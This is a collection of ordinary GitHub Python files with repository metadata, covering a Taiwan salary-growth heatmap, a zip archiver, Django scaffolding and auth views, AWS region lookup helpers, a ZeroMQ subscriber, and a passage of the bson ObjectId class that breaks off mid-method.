{"seq_id": "8722886422", "text": "# 資料來源 政府開放平台 https://data.gov.tw/dataset/151337\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sns\r\n\r\nurl = 'https://www.gender.ey.gov.tw/GecDB/Common/OpenXML.ashx?sn=6yrTVzOhjQtbqd8LlVgtKg@@'\r\ndf = pd.read_xml(url)\r\n\r\n#年份處理\r\ndf['year'] = df[\"Period\"].astype(str).str.replace(\"00\",\"\")\r\ndf.loc[df[\"year\"] == '1', 'year'] = \"100\"\r\n\r\n#只取總合欄位\r\ndataTotal = df[df['Category1Title'] == '總計']\r\n\r\n#取得每個工作類別\r\njobList = df['Category2Title'][0:19]\r\n\r\n#最小年份跟最大年份，並輸出成一個df\r\nyearStar , yearEnd = int(df['year'].head(1).values), int(df['year'].tail(1).values)\r\nlistAll = pd.DataFrame(index=(np.arange(yearStar,yearEnd+1)))\r\n\r\n'''\r\n#工作類型變為欄位，並除於1000，起始單元變為千元  參考中位數 center=30\r\n#沒辦法客觀的看待各產業成長幅度，決定棄用\r\nfor job in jobList: \r\n    listAll[job] = dataTotal[dataTotal['Category2Title']==job][\"Val\"].values / 1000\r\n'''\r\n\r\n#工作類型變為欄位，並轉換為年增率百分比\r\nfor job in jobList: \r\n    listAll[job] = dataTotal[dataTotal['Category2Title']==job][\"Val\"].pct_change().values * 100\r\n    \r\n\r\n'''\r\n#折線圖，呈現效果不佳，決定棄用\r\nplt.figure(figsize=(50,20),dpi = 200)\r\nplt.rcParams['font.sans-serif'] = 'Microsoft JhengHei'\r\nplt.rcParams['font.size'] = 24\r\n\r\nfor job in jobList:\r\n    plt.plot(listAll.index,listAll[job],label=job)\r\n\r\nplt.ylim(listAll.min().min(), listAll.max().max())\r\nplt.xlim(yearStar, yearEnd)\r\nplt.legend(loc='best', bbox_to_anchor=(1, 1))\r\nplt.savefig(\"各產業經常性薪資變化.png\")\r\n'''\r\n\r\n#熱度圖\r\nlistAll = listAll[1:].T\r\nplt.figure(figsize=(35,10),dpi = 150)\r\nplt.rcParams['font.sans-serif'] = 'Microsoft JhengHei'\r\nplt.rcParams['axes.unicode_minus'] = False\r\nplt.rcParams['font.size'] = 16\r\n\r\nsns.heatmap( listAll, cmap = 'coolwarm', annot=True, fmt = \".2f\", annot_kws={\"size\" : 10},center=3, cbar_kws={\"label\":\"百分比\"})\r\nplt.xlabel(\"民國年\")\r\nplt.title(\"各產業經常性薪資成長幅度\")\r\nplt.savefig(\"各產業經常性薪資成長幅度.png\",bbox_inches='tight')\r\n\r\n", "repo_name": "WunCaioLiou/pythonAll", "sub_path": "台灣經常性薪資變化熱度圖.py", "file_name": "台灣經常性薪資變化熱度圖.py", "file_ext": "py", "file_size_in_byte": 2158, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pandas.read_xml", "line_number": 9, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 54, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 55, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 55, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 56, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 56, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 57, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 57, "usage_type": "name"}, {"api_name": "seaborn.heatmap", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 62, "usage_type": "name"}]}
{"seq_id": "35772458398", "text": "#!/usr/bin/python3\r\n#\r\n#A function that creates a archive with a truncated directory tree\r\n\r\nimport os, glob, zipfile, shutil\r\n\r\ndef archiver(path):\r\n    '''Create a Zip archive, truncated to the basename of its path'''\r\n    archive_name = os.path.abspath(os.path.basename(path) + '.zip')\r\n    zf = zipfile.ZipFile(archive_name, 'w')\r\n    inventory = glob.glob(os.path.join(path, '*'))\r\n    for item in inventory:\r\n        if os.path.isfile(item):\r\n            base = os.path.basename(os.path.dirname(item))\r\n            source = os.path.basename(item)\r\n            join = os.path.join(base, source)\r\n            try:\r\n                zf.write(join)\r\n            except:\r\n                if not os.path.exists(base):\r\n                    os.mkdir(base)\r\n                shutil.copy(item, base)\r\n                zf.write(join)   \r\n                shutil.rmtree(base)\r\n\r\n", "repo_name": "stophergu/Truncated-Archive-Function", "sub_path": "my_zip_file.py", "file_name": "my_zip_file.py", "file_ext": "py", "file_size_in_byte": 869, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.abspath", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 9, "usage_type": "call"}, {"api_name": "zipfile.ZipFile", "line_number": 10, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path", "line_number": 14, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path", "line_number": 20, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 21, "usage_type": "call"}, {"api_name": "shutil.copy", "line_number": 22, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 24, "usage_type": "call"}]}
{"seq_id": "8440250717", "text": "import os\nimport subprocess\nfrom General_Utilities.control_rutas import setting_routes\nfrom modules.django_modifile import settings\nfrom modules.django_rootes import project_settings\n\n\nproject_name = project_settings()['Project']\n\nkey = 'resources'\ndirectorio = setting_routes(key)[0]\n\nos.chdir(directorio)\nprint(os.getcwd())\n\n# Create Django project\nos.system(f\"django-admin startproject {project_name}\")\n\n# Agregando directorio static files\nproject_path = os.path.join(directorio, project_name)\n\nsub_dirs = ['css', 'js', 'img']\nfor i in sub_dirs:\n    urls_path = os.path.join(project_path, 'static', i)\n    if os.path.exists(urls_path):\n        print(f'\\t- Directorio de static/{i} ya existe.')\n    else:\n        os.makedirs(urls_path)\n\n# Instalando static en settings\nobject = settings(project_path)\nobject.install_static_dir()\n\n# Ejecutando migraciones\nprint(f'Ejecutando migraciones en:')\nos.chdir(project_path)\nsubprocess.run([\"python\", \"manage.py\", \"migrate\"])\n\nos.chdir(directorio)", "repo_name": "hmartinez00/z_django_projects", "sub_path": "scripts/new_project.py", "file_name": "new_project.py", "file_ext": "py", "file_size_in_byte": 989, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "modules.django_rootes.project_settings", "line_number": 8, "usage_type": "call"}, {"api_name": "General_Utilities.control_rutas.setting_routes", "line_number": 11, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 13, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 14, "usage_type": "call"}, {"api_name": "os.system", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path", "line_number": 20, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path", "line_number": 24, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path", "line_number": 25, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 28, "usage_type": "call"}, {"api_name": "modules.django_modifile.settings", "line_number": 31, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 36, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 37, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 39, "usage_type": "call"}]}
{"seq_id": "14343396625", "text": "from django.urls import path\nfrom . import views\nfrom .views import CreateProfileView\n\n\nurlpatterns=[\n    path('', views.index, name=\"index\"),\n    path('register/', views.register, name=\"registeruser\"),\n    path('login/', views.loginUser, name=\"loginuser\"),\n    path('logout/', views.logoutUser, name=\"logout\"),\n    path('createprofile/', CreateProfileView.as_view(), name=\"createprofile\"),\n    path('uploadproject/', views.uploadProject, name=\"uploadproject\"),\n    path('viewproject//', views.viewProject, name=\"viewproject\"),\n    path('viewuserprofile/', views.viewUserProfile, name=\"viewuserprofile\"),\n    path('searchprojects/', views.searchProject, name=\"search_results\"),\n    path('rateproject//', views.rateProject, name=\"rateproject\"),\n    path('rateoneproject/', views.rateOneProject, name=\"rateoneproject\"),\n    path('rateuseproject/', views.rateUseProject, name=\"rateuseproject\"),\n    path('ratecontentproject/', views.rateContentProject, name=\"ratecontentproject\"),\n]", "repo_name": "Alice-Githui/Rate-my-App", "sub_path": "projects/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 1003, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "views.index", "line_number": 7, "usage_type": "attribute"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "views.register", "line_number": 8, "usage_type": "attribute"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "views.loginUser", "line_number": 9, "usage_type": "attribute"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "views.logoutUser", "line_number": 10, "usage_type": "attribute"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "views.CreateProfileView.as_view", "line_number": 11, "usage_type": "call"}, {"api_name": "views.CreateProfileView", "line_number": 11, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "views.uploadProject", "line_number": 12, "usage_type": "attribute"}, {"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}, {"api_name": "views.viewProject", "line_number": 13, "usage_type": "attribute"}, {"api_name": "django.urls.path", "line_number": 14, "usage_type": "call"}, {"api_name": "views.viewUserProfile", "line_number": 14, "usage_type": "attribute"}, {"api_name": "django.urls.path", "line_number": 15, "usage_type": "call"}, {"api_name": "views.searchProject", "line_number": 15, "usage_type": "attribute"}, {"api_name": "django.urls.path", "line_number": 16, "usage_type": "call"}, {"api_name": "views.rateProject", "line_number": 16, "usage_type": "attribute"}, {"api_name": "django.urls.path", "line_number": 17, "usage_type": "call"}, {"api_name": "views.rateOneProject", "line_number": 17, "usage_type": "attribute"}, {"api_name": "django.urls.path", "line_number": 18, "usage_type": "call"}, {"api_name": "views.rateUseProject", "line_number": 18, "usage_type": "attribute"}, {"api_name": "django.urls.path", "line_number": 19, "usage_type": "call"}, {"api_name": "views.rateContentProject", "line_number": 19, "usage_type": "attribute"}]}
{"seq_id": "17623232835", "text": "import asyncio\nfrom concurrent.futures import TimeoutError\nimport json\nimport logging\nfrom typing import Optional\n\nimport aiohttp\nfrom aiohttp import web\nfrom multidict import CIMultiDictProxy\n\n\nlogger = logging.getLogger(__name__)\n\n\nDEFAULT_REMOVED_RESPONSE_HEADERS = {\"Content-Length\", \"Content-Encoding\", \"Transfer-Encoding\"}\n\n\ndef clean_response_headers(request: web.Request) -> CIMultiDictProxy:\n    \"\"\"Removes HTTP headers from an upstream response and add auth header if present.\n\n    :param request: A web.Request containing the request whose headers are to be cleaned.\n    :return: A CIMultiDictProxy containing the clean headers.\n    \"\"\"\n    clean_headers = request.headers.copy()\n    for header in DEFAULT_REMOVED_RESPONSE_HEADERS:\n        clean_headers.popall(header, None)\n    try:\n        auth_header = request.pop(\"auth_payload\")\n    except KeyError:\n        pass\n    else:\n        clean_headers.add(*auth_header)\n    return CIMultiDictProxy(clean_headers)\n\n\nasync def _instance_document() -> Optional[str]:\n    \"\"\"This is a wrapper around |aiohttp.request|_ to make it usable in a synchronous way.\n\n    As only one request is done per proxy, there normally is no need to use a session.\n    There is however a bug (`#3628`_) in ``aiohttp`` that leaks the session when an exception is raised.\n    The manual session handling for only one request is a workaround while waiting for `PR #3640`_ to be merged.\n\n    :return: The region name as a string\n\n    .. |aiohttp.request| replace:: ``aiohttp.request``\n    .. _aiohttp.request: https://docs.aiohttp.org/en/latest/client_reference.html#aiohttp.request\n    .. _#3628: https://github.com/aio-libs/aiohttp/issues/3628\n    .. _PR #3640: https://github.com/aio-libs/aiohttp/pull/3640\n    \"\"\"\n    async with aiohttp.ClientSession(raise_for_status=True, timeout=aiohttp.ClientTimeout(total=1)) as session:\n        try:\n            async with session.get(\"http://169.254.169.254/latest/dynamic/instance-identity/document\") as response:\n                document = await response.text()\n        except TimeoutError:\n            logger.debug(\"Timeout while attempting to get instance document.\")\n        else:\n            return json.loads(document)[\"region\"]\n\n\ndef _aws_region() -> Optional[str]:\n    \"\"\"Attempts to query the AWS region where this instance is running.\n\n    Returns None if endpoint is not available, which means we're probably not running on AWS.\n\n    `Related Amazon docs `_\n    \"\"\"\n\n    try:\n        event_loop = asyncio.get_event_loop()\n    except RuntimeError:\n        event_loop = asyncio.new_event_loop()\n        asyncio.set_event_loop(event_loop)\n\n    return event_loop.run_until_complete(_instance_document())\n", "repo_name": "vladvasiliu/aws-alb-oauth-proxy", "sub_path": "aws_alb_oauth_proxy/helpers.py", "file_name": "helpers.py", "file_ext": "py", "file_size_in_byte": 2775, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 12, "usage_type": "call"}, {"api_name": "aiohttp.web.Request", "line_number": 18, "usage_type": "attribute"}, {"api_name": "aiohttp.web", "line_number": 18, "usage_type": "name"}, {"api_name": "multidict.CIMultiDictProxy", "line_number": 33, "usage_type": "call"}, {"api_name": "multidict.CIMultiDictProxy", "line_number": 18, "usage_type": "name"}, {"api_name": "aiohttp.ClientSession", "line_number": 50, "usage_type": "call"}, {"api_name": "aiohttp.ClientTimeout", "line_number": 50, "usage_type": "call"}, {"api_name": "concurrent.futures.TimeoutError", "line_number": 54, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 57, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 36, "usage_type": "name"}, {"api_name": "asyncio.get_event_loop", "line_number": 69, "usage_type": "call"}, {"api_name": "asyncio.new_event_loop", "line_number": 71, "usage_type": "call"}, {"api_name": "asyncio.set_event_loop", "line_number": 72, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 60, "usage_type": "name"}]}
{"seq_id": "21704355758", "text": "from django.shortcuts import render, redirect, HttpResponseRedirect\nfrom .forms import UserRegistrationForm, UserLoginForm\nfrom subscription.models import UserSubscription, SubscriptionType\nfrom django.contrib import messages, auth\nfrom django.urls import reverse\nfrom django.contrib.auth.decorators import login_required\nfrom django.utils import timezone\n\ndef register(request):\n    \"\"\"\n    A view that manages the registration form.\n    If method is GET, an empty registration form is rendered.\n    If method is POST, the user is saved and then logged in.\n    \"\"\"\n    if request.method == 'POST':\n        #print(request.POST.keys())\n        #dict_keys(['csrfmiddlewaretoken', 'username', 'email', 'password1', 'password2'])\n        registration_form = UserRegistrationForm(request.POST)\n        if registration_form.is_valid():\n            # create the user in the database\n            registration_form.save()\n\n            user = auth.authenticate(request.POST.get('email'),\n                                    password=request.POST.get('password1'))\n\n            if user is not None:\n                # save user id in the session\n                auth.login(request, user)\n\n                messages.success(request, 'You have successfully registered.')\n\n                return redirect(reverse('subscription:choose_subscription'))\n            else:\n                messages.error(request, 'Unable to log you in at this time!')\n    else:\n        registration_form = UserRegistrationForm()\n\n    context = {'registration_form': registration_form}\n    return render(request, 'accounts/register.html', context)\n\n@login_required\ndef profile(request):\n    \"\"\"\n    A view that displays the profile page of a logged in user.\n    \"\"\"\n    try:\n        user_subscription = UserSubscription.objects.get(user_id=request.user.id)\n    except UserSubscription.DoesNotExist:\n        user_subscription = None\n\n    context = {'user_subscription': user_subscription}\n    return render(request, 'accounts/profile.html', context)\n\n@login_required\ndef logout(request):\n    \"\"\"\n    A view that logs the user out and redirects back to the index page.\n    \"\"\"\n    auth.logout(request)\n    messages.success(request, 'You have successfully logged out.')\n    return redirect(reverse('home:index'))\n\ndef login(request):\n    \"\"\"\n    A view that manages the login form.\n    If method is GET, an empty login form is rendered.\n    If method is POST, the user is logged in.\n    \"\"\"\n    if request.method == 'POST':\n        login_form = UserLoginForm(request.POST)\n        if login_form.is_valid():\n            user = auth.authenticate(request.POST.get('username_or_email'),\n                                    password=request.POST.get('password'))\n\n            if user is not None:\n                # save user id in the session\n                auth.login(request, user)\n\n                # update subscription status\n                try:\n                    user_subscription = UserSubscription.objects.get(user_id=request.user.id)\n                except UserSubscription.DoesNotExist:\n                    user_subscription = None\n                \n                if user_subscription:\n                    if user_subscription.end_date < timezone.now():\n                        user_subscription.status = 'Expired'\n\n                messages.success(request, 'You have successfully logged in.')\n\n                if request.GET and request.GET.get('next') != '':\n                    next = request.GET.get('next')\n                    return HttpResponseRedirect(next)\n                else:\n                    return redirect(reverse('search:all_charts'))\n            else:\n                login_form.add_error(None, 'Your username or password are incorrect.')\n    else:\n        login_form = UserLoginForm()\n\n    context = {'login_form': login_form, 'next': request.GET.get('next', '')}\n    return render(request, 'accounts/login.html', context)", "repo_name": "o-power/dashing-data", "sub_path": "accounts/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 3910, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "forms.UserRegistrationForm", "line_number": 18, "usage_type": "call"}, {"api_name": "django.contrib.auth.authenticate", "line_number": 23, "usage_type": "call"}, {"api_name": "django.contrib.auth", "line_number": 23, "usage_type": "name"}, {"api_name": "django.contrib.auth.login", "line_number": 28, "usage_type": "call"}, {"api_name": "django.contrib.auth", "line_number": 28, "usage_type": "name"}, {"api_name": "django.contrib.messages.success", "line_number": 30, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 30, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 32, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 32, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 34, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 34, "usage_type": "name"}, {"api_name": "forms.UserRegistrationForm", "line_number": 36, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 39, "usage_type": "call"}, {"api_name": "subscription.models.UserSubscription.objects.get", "line_number": 47, "usage_type": "call"}, {"api_name": "subscription.models.UserSubscription.objects", "line_number": 47, "usage_type": "attribute"}, {"api_name": "subscription.models.UserSubscription", "line_number": 47, "usage_type": "name"}, {"api_name": "subscription.models.UserSubscription.DoesNotExist", "line_number": 48, "usage_type": "attribute"}, {"api_name": "subscription.models.UserSubscription", "line_number": 48, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 52, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 41, "usage_type": "name"}, {"api_name": "django.contrib.auth.logout", "line_number": 59, "usage_type": "call"}, {"api_name": "django.contrib.auth", "line_number": 59, "usage_type": "name"}, {"api_name": "django.contrib.messages.success", "line_number": 60, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 60, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 61, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 61, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 54, "usage_type": "name"}, {"api_name": "forms.UserLoginForm", "line_number": 70, "usage_type": "call"}, {"api_name": "django.contrib.auth.authenticate", "line_number": 72, "usage_type": "call"}, {"api_name": "django.contrib.auth", "line_number": 72, "usage_type": "name"}, {"api_name": "django.contrib.auth.login", "line_number": 77, "usage_type": "call"}, {"api_name": "django.contrib.auth", "line_number": 77, "usage_type": "name"}, {"api_name": "subscription.models.UserSubscription.objects.get", "line_number": 81, "usage_type": "call"}, {"api_name": "subscription.models.UserSubscription.objects", "line_number": 81, "usage_type": "attribute"}, {"api_name": "subscription.models.UserSubscription", "line_number": 81, "usage_type": "name"}, {"api_name": "subscription.models.UserSubscription.DoesNotExist", "line_number": 82, "usage_type": "attribute"}, {"api_name": "subscription.models.UserSubscription", "line_number": 82, "usage_type": "name"}, {"api_name": "django.utils.timezone.now", "line_number": 86, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 86, "usage_type": "name"}, {"api_name": "django.contrib.messages.success", "line_number": 89, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 89, "usage_type": "name"}, {"api_name": "django.shortcuts.HttpResponseRedirect", "line_number": 93, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 95, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 95, "usage_type": "call"}, {"api_name": "forms.UserLoginForm", "line_number": 99, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 102, "usage_type": "call"}]}
{"seq_id": "13642347753", "text": "import sys\nimport zmq\ncontext = zmq.Context()\n\nsocket1 = context.socket(zmq.SUB)\nsocket1.connect(\"tcp://172.16.36.110:19403\")\nsocket1.setsockopt_string(zmq.SUBSCRIBE, \"\")\n\nsocket2 = context.socket(zmq.SUB)\nsocket2.connect(\"tcp://172.16.36.110:19603\")\nsocket2.setsockopt_string(zmq.SUBSCRIBE, \"\")\n\npoller = zmq.Poller()\npoller.register(socket1, zmq.POLLIN)\npoller.register(socket2, zmq.POLLIN)\n\nwhile True:\n    try:\n        socks = dict(poller.poll())\n    except KeyboardInterrupt:\n        break\n        \n    if socket1 in socks:\n        message = socket1.recv_string()\n        print('socket1', message)\n        \n    if socket2 in socks:\n        message = socket2.recv_string()\n        if 'OnTick' not in message:\n            print('socket2', message)\n    ", "repo_name": "etoricky/ZeroMQCppPy", "sub_path": "ZeroMQ/testing/01sub/23polling.py", "file_name": "23polling.py", "file_ext": "py", "file_size_in_byte": 755, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "zmq.Context", "line_number": 3, "usage_type": "call"}, {"api_name": "zmq.SUB", "line_number": 5, "usage_type": "attribute"}, {"api_name": "zmq.SUBSCRIBE", "line_number": 7, "usage_type": "attribute"}, {"api_name": "zmq.SUB", "line_number": 9, "usage_type": "attribute"}, {"api_name": "zmq.SUBSCRIBE", "line_number": 11, "usage_type": "attribute"}, {"api_name": "zmq.Poller", "line_number": 13, "usage_type": "call"}, {"api_name": "zmq.POLLIN", "line_number": 14, "usage_type": "attribute"}, {"api_name": "zmq.POLLIN", "line_number": 15, "usage_type": "attribute"}]}
{"seq_id": "21942393673", "text": "import binascii\nimport calendar\nimport datetime\ntry:\n    import hashlib\n    _md5func = hashlib.md5\nexcept ImportError:  # for Python < 2.5\n    import md5\n    _md5func = md5.new\nimport os\nimport random\nimport socket\nimport struct\nimport threading\nimport time\n\nfrom bson.errors import InvalidId\nfrom bson.py3compat import (PY3, b, binary_type, text_type,\n                            bytes_from_hex, string_types)\nfrom bson.tz_util import utc\n\nEMPTY = b(\"\")\nZERO  = b(\"\\x00\")\n\ndef _machine_bytes():\n    \"\"\"Get the machine portion of an ObjectId.\n    \"\"\"\n    machine_hash = _md5func()\n    if PY3:\n        # gethostname() returns a unicode string in python 3.x\n        # while update() requires a byte string.\n        machine_hash.update(socket.gethostname().encode())\n    else:\n        # Calling encode() here will fail with non-ascii hostnames\n        machine_hash.update(socket.gethostname())\n    return machine_hash.digest()[0:3]\n\n\nclass ObjectId(object):\n    \"\"\"A MongoDB ObjectId.\n    \"\"\"\n\n    _inc = random.randint(0, 0xFFFFFF)\n    _inc_lock = threading.Lock()\n\n    _machine_bytes = _machine_bytes()\n\n    __slots__ = ('__id')\n\n    _type_marker = 7\n\n    def __init__(self, oid=None):\n        \"\"\"Initialize a new ObjectId.\n\n        If `oid` is ``None``, create a new (unique) ObjectId. If `oid`\n        is an instance of (:class:`basestring` (:class:`str` or :class:`bytes`\n        in python 3), :class:`ObjectId`) validate it and use that.  Otherwise,\n        a :class:`TypeError` is raised. If `oid` is invalid,\n        :class:`~bson.errors.InvalidId` is raised.\n\n        :Parameters:\n          - `oid` (optional): a valid ObjectId (12 byte binary or 24 character\n            hex string)\n\n        .. versionadded:: 1.2.1\n           The `oid` parameter can be a ``unicode`` instance (that contains\n           only hexadecimal digits).\n\n        .. mongodoc:: objectids\n        \"\"\"\n        if oid is None:\n            self.__generate()\n        else:\n            self.__validate(oid)\n\n    @classmethod\n    def from_datetime(cls, generation_time):\n        \"\"\"Create a dummy ObjectId instance with a specific generation time.\n\n        This method is useful for doing range queries on a field\n        containing :class:`ObjectId` instances.\n\n        .. warning::\n           It is not safe to insert a document containing an ObjectId\n           generated using this method. This method deliberately\n           eliminates the uniqueness guarantee that ObjectIds\n           generally provide. ObjectIds generated with this method\n           should be used exclusively in queries.\n\n        `generation_time` will be converted to UTC. Naive datetime\n        instances will be treated as though they already contain UTC.\n\n        An example using this helper to get documents where ``\"_id\"``\n        was generated before January 1, 2010 would be:\n\n        >>> gen_time = datetime.datetime(2010, 1, 1)\n        >>> dummy_id = ObjectId.from_datetime(gen_time)\n        >>> result = collection.find({\"_id\": {\"$lt\": dummy_id}})\n\n        :Parameters:\n          - `generation_time`: :class:`~datetime.datetime` to be used\n            as the generation time for the resulting ObjectId.\n\n        .. versionchanged:: 1.8\n           Properly handle timezone aware values for\n           `generation_time`.\n\n        .. versionadded:: 1.6\n        \"\"\"\n        if generation_time.utcoffset() is not None:\n            generation_time = generation_time - generation_time.utcoffset()\n        ts = calendar.timegm(generation_time.timetuple())\n        oid = struct.pack(\">i\", int(ts)) + ZERO * 8\n        return cls(oid)\n\n    @classmethod\n    def is_valid(cls, oid):\n        \"\"\"Checks if a `oid` string is valid or not.\n\n        :Parameters:\n          - `oid`: the object id to validate\n\n        .. versionadded:: 2.3\n        \"\"\"\n        try:\n            ObjectId(oid)\n            return True\n        except (InvalidId, TypeError):\n            return False\n\n    def __generate(self):\n        \"\"\"Generate a new value for this ObjectId.\n        \"\"\"\n        oid = EMPTY\n\n        # 4 bytes current time\n        oid += struct.pack(\">i\", int(time.time()))\n\n        # 3 bytes machine\n        oid += ObjectId._machine_bytes\n\n        # 2 bytes pid\n        oid += struct.pack(\">H\", os.getpid() % 0xFFFF)\n\n        # 3 bytes inc\n        ObjectId._inc_lock.acquire()\n        oid += struct.pack(\">i\", ObjectId._inc)[1:4]\n        ObjectId._inc = (ObjectId._inc + 1) % 0xFFFFFF\n        ObjectId._inc_lock.release()\n\n        self.__id = oid\n\n    def __validate(self, oid):\n        \"\"\"Validate and use the given id for this ObjectId.\n\n        Raises TypeError if id is not an instance of\n        (:class:`basestring` (:class:`str` or :class:`bytes`\n        in python 3), ObjectId) and InvalidId if it is not a\n        valid ObjectId.\n\n        :Parameters:\n          - `oid`: a valid ObjectId\n        \"\"\"\n        if isinstance(oid, ObjectId):\n            self.__id = oid.__id\n        elif isinstance(oid, string_types):\n            if len(oid) == 12:\n                if isinstance(oid, binary_type):\n                    self.__id = oid\n                else:\n                    raise InvalidId(\"%s is not a valid ObjectId\" % oid)\n            elif len(oid) == 24:\n                try:\n                    self.__id = bytes_from_hex(oid)\n                except (TypeError, ValueError):\n                    raise InvalidId(\"%s is not a valid ObjectId\" % oid)\n            else:\n                raise InvalidId(\"%s is not a valid ObjectId\" % oid)\n        else:\n            raise TypeError(\"id must be an instance of (%s, %s, ObjectId), \"\n                            \"not %s\" % (binary_type.__name__,\n                                        text_type.__name__, type(oid)))\n\n    @property\n    def binary(self):\n        \"\"\"12-byte binary representation of this ObjectId.\n        \"\"\"\n        return self.__id\n\n    @property\n    def generation_time(self):\n        \"\"\"A :class:`datetime.datetime` instance representing the time of\n        generation for this :class:`ObjectId`.\n\n        The :class:`datetime.datetime` is timezone aware, and\n        represents the generation time in UTC. It is precise to the\n        second.\n\n        .. versionchanged:: 1.8\n           Now return an aware datetime instead of a naive one.\n\n        .. versionadded:: 1.2\n        \"\"\"\n        t = struct.unpack(\">i\", self.__id[0:4])[0]\n        return datetime.datetime.fromtimestamp(t, utc)\n\n    def __getstate__(self):\n        \"\"\"return value of object for pickling.\n        needed explicitly because __slots__() defined.\n        \"\"\"\n        return self.__id\n\n    def __setstate__(self, value):\n        \"\"\"explicit state set from pickling\n        \"\"\"\n        # Provide backwards compatability with OIDs\n        # pickled with pymongo-1.9 or older.\n        if isinstance(value, dict):\n            oid = value[\"_ObjectId__id\"]\n        else:\n            oid = 